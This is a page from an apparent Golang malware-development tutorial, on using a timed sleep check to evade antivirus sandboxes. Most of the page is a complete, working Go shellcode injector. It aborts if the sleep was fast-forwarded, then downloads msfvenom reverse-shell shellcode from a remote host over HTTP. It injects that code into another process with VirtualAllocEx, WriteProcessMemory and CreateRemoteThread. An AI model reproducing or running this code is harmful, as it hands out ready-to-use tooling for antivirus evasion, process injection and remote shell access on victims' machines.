Malware Development
  • Golang Malware Development
  • Malware Development In Golang - Introduction
    • Golang Programming Intro
      • 1. Preparing the Go Environment
      • 2. Hello World
      • 3. Calling MessageBox winAPI from GO
      • 4. Shellcode Runner
  • Code Injection Techniques
    • Shellcode Injection
      • 1. Classic Shellcode Injection
      • 2. Process Hollowing
      • 3. QueueUserAPC
    • DLL Injection
      • 1. Dll Injection
      • 2. Reflective DLL Injection
  • Payloads
    • Payloads
      • 1. Basic DLL using Golang
      • 2. Malicious DLL using Golang
      • 3. Malicious XLL using Golang
    • Shellcode development
      • 1. Keystone Engine
      • 2. Windows x64 Shellcode Development intro
      • 3. Transforming DLLs into Shellcode
  • Evasion
    • AV Bypass
      • 1. Introduction
      • 2. Remove the shellcode from the payload
      • 3. Delay Execution
        • 1. time.Sleep() 1/2
        • 2. time.Sleep() 2/2
        • 3. Custom Sleep function
      • 4. XOR Encryption
      • 5. AMSI Bypass
    • EDR Bypass
      • 1. Setting up a testing environment
      • 2. Userland Hooks
        • 1. What are userland hooks?
        • 2. Load a fresh copy of the dll from disk
        • 3. Programmatically detect ntdll hooks
        • 4. Direct and Indirect Syscalls (shellcode runner)
      • 3. VPN abuse for Endpoint Protection Evasion
        • 1. Global Protect Abuse 1/2
        • 2. Global Protect Abuse 2/2
Powered by GitBook
On this page
  • time.Sleep()
  • Complete Code

Was this helpful?

  1. Evasion
  2. AV Bypass
  3. 3. Delay Execution

2. time.Sleep() 2/2

#AVEvasion #Golang #maldev #malwaredevelopment #sleep

Last updated 1 year ago

Was this helpful?

As mentioned previously some AV sandbox will speed up execution of sleep functions to identify if any malicious action occurs without timing out.

A simple way to detect if the sleep function actually slept for 10 seconds is to get the time before and after the sleep function and calculate the difference.

An example of the exact code is provided by the .

	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 := time.Now()
	time.Sleep(10 * time.Second)
	t1 := time.Now()
	diff := t1.Sub(t0)
	fmt.Println("[+] Woke Up ... Execution Continues")

	fmt.Printf("[+] The call took %v to run.\n", diff)
	if diff.Seconds() < 10 {
		log.Fatalln("[FATAL] Execution faster than 10 seconds")
	}
  • In line 5 we calculate the difference of the time before and after the sleep function.

  • In line 9 we check if that's less than 10 seconds we terminate execution

Complete Code

package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 := time.Now()
	time.Sleep(10 * time.Second)
	t1 := time.Now()
	diff := t1.Sub(t0)
	fmt.Println("[+] Woke Up ... Execution Continues")

	fmt.Printf("[+] The call took %v to run.\n", diff)
	if diff.Seconds() < 10 {
		log.Fatalln("[FATAL] Execution faster than 10 seconds")
	}

	pid := uint32(2924)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom  -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
	sc, err := wget("http://192.168.217.128/shcode.malic")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}
	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}
time.Sleep()
golang package